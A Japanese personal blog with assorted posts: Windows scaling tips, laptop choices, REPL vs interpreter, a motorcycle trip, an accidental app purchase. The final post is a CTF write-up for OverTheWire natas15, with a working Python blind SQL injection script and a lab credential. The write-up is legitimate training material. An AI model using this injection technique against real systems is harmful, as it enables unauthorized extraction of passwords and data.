Windows10のカスタムスケーリングは中途半端な値にするな!

Windows10のお気に入りポイントの1つ、カスタムスケーリングは、自由に値を設定できますが、これは中途半端な値に設定してはいけません!

スケーリングの値を160とか170に設定していたのですが、GoogleDriveクライアントの「バックアップと同期」アプリの、通知領域アイコンが出てこないという不具合に遭遇。
ノーティフィケーション(吹き出し)は出てきますが、アイコンが見当たらない。
でも同期はちゃんとされるている。

実は中途半端なスケーリングによって、IMEのアイコンと音量アイコンの間に隠れてしまっていたようです。

(図はスケーリング175、ちゃんと表示されてるときの図)

25刻みで設定すれば、ちゃんと表示されるようなので現在は175で使っています。

その他近況

Macbook Pro 13インチearly2015が、早くも壊れかけているので乗り換え先を探し中です。

現行型Macbook Proは、TouchBarやバッテリーの持たなさ、あまり軽くない重量を勘案するとにハードウェアとして魅力を感じなくなってきました。

乗り換え候補のThinkpad X1Cは安いし軽いし電池持つし、キーボードは打ちやすいし、処理性能は似たようなもの(構成による)し、とハードウェアは魅力的です。
そのためWindows10での開発に慣れようとしています。

Windows10で満足いくCLI環境を整えようとすると結構苦労することになったので、VMでLinux使うのに落ち着きました。

しかしVM常用はバッテリーライフが犠牲になりますし、ほとんどVM上のLinuxしか使わないなら直接Linuxを動かせばいいじゃんって思うのですが、Linuxでは動かないソフトがある以上仕方ないです。OneDriveクライアント(Linux用にはいいのがない)とか、ほかにもいろいろWindowsで動かしたいソフトがありますからね。

そういうソフトが動き、なおかつUNIXであるmacOSはやはりちょうど良いですね。

というわけでmacOSの使用を継続するかもしれないです

インタプリタとREPLの違い

REPLとインタプリタは同義ではない…そうですが違いがわかってませんでした。

https://stackoverflow.com/questions/3424756/what-is-the-difference-…
そのものズバリな質問がすでにstackoverflowにありました。

「対話的インタプリタはREPLの機能を持つが、REPL的な動作をしないインタプリタもある。例えばファイルを読み込んでその通り動くときは、インタプリタだけどもRead-Eval-Print-Loopはしない」
みたいです。

対話的インタプリタってのは、何も読みこませず$ pythonってコマンドを打った時のアレで、REPLです。
REPLじゃないインタプリタってのは、$ python test.pyとか打ってファイル読み込ませて実行したときで、これはインタプリタだけど対話してくれないからREPLじゃないです、ってことみたい。

ホーネットで紅葉を見に行く

3連休なので紅葉をバイクで見に行きました。

今回は、ステップをギュッと踏んで、体重を移動させてするコーナリングを覚えました。
安全な速度だと上に座ってるだけでなんとなく左右に傾くだけで曲がれてしまうので、今まで正しいコーナリングの仕方がわかっていませんでした。

峠道を攻めてる人がやるようにコーナー内側の足でステップをグイと踏むと面白いようにぐいぐい曲がります。

なるほどこれは楽しい…

予報にない雨に降られました…
靴もズボンも手袋もびしょ濡れで、日本一周を思い出します。

尻もびしょ濡れ。

このヘルメットにも傷が増えてきてしまいました。

ゲームアプリで誤って課金してしまった

iOS版スナイパー3Dというゲームアプリを起動したら、ロゴのあと暗転、タップ連打しながら待っていたら購入確認画面が出て、指紋認証を求められた。
意図せず購入確認画面になったので戻ろうと反射的にホームボタンを押してしまい、指紋認証され課金されてしまった。1,200円。

AppStoreは返金制度自体はあるものの、返金申請画面で「誤って購入してしまった」という選択肢を選ぶと「返金対象外」にされる。

楽しませてもらったゲームへの対価と考えようにもスナイパー3Dは全然遊んだことのないゲーム。

普段、ゲームアプリにはビタ一文課金してこなかった因果か何かかな?

まぁそう考えて忘れることにしましょう…。

CTF、over the wireのnatas15

ユーザー名を入れて送信すると、そのユーザーが存在するかしないかを教えてくれる。

ソースコードを見ると、送信したユーザ名はSQLクエリにサニタイジングも何もなしで連結されているので、SQLインジェクションし放題。
しかし、インジェクションした結果を表示する仕組みが無い。(ユーザーが既に存在するかをYES/NOの二択でしかわからない)

このような時でも使えるのがブラインドSQLインジェクション。

知りたい情報を、1文字(または1ビットとか)ずつ調べて行く。

import urllib
import sys
import urllib.request, urllib.parse
import base64

urlText = "http://natas15.natas.labs.overthewire.org/index.php"

user = "natas15"
password = "AwWj0w5cvxrZiONgZ9J5stNVkmxdk39J"

ansPass = ""

characterSet = [chr(i) for i in range(65,65+26)]
characterSet.extend([chr(i) for i in range(97,97+26)])
characterSet.extend([str(i) for i in range(0,10)])

#VARCHARが64文字まで(らしい)
for ind in range(1, 65):
    isFound = False
    #0-9, a-z, A-Zを試す。
    for ch in characterSet:
        query = 'natas16" AND SUBSTRING(password, ' + str(ind) + ', 1) LIKE BINARY "' +ch
        encoded_post_data = urllib.parse.urlencode({"username":query}).encode("utf-8")

        basic_user_and_pasword = base64.b64encode((user +":"+password).encode('utf-8'))

        req = urllib.request.Request(urlText, headers={"Authorization": "Basic " + basic_user_and_pasword.decode('utf-8')}, data=encoded_post_data)

        with urllib.request.urlopen(req) as res:
            html = res.read().decode("utf-8")
            #YESならパスワードのind文字目はchだったということになる
            if "This user exists" in html:
                ansPass += ch
                isFound = True
                print("HIT:"+str(ind) +":"+ch)
    #どんな文字に対してもNOを返すときは、こんなにパスワードは長くなかったいうことで調査を打ち切る。
    if not isFound:
        break

print(ansPass)

遠い海外にある標的サーバだからか大変待たされる。30分くらいかかったかな…。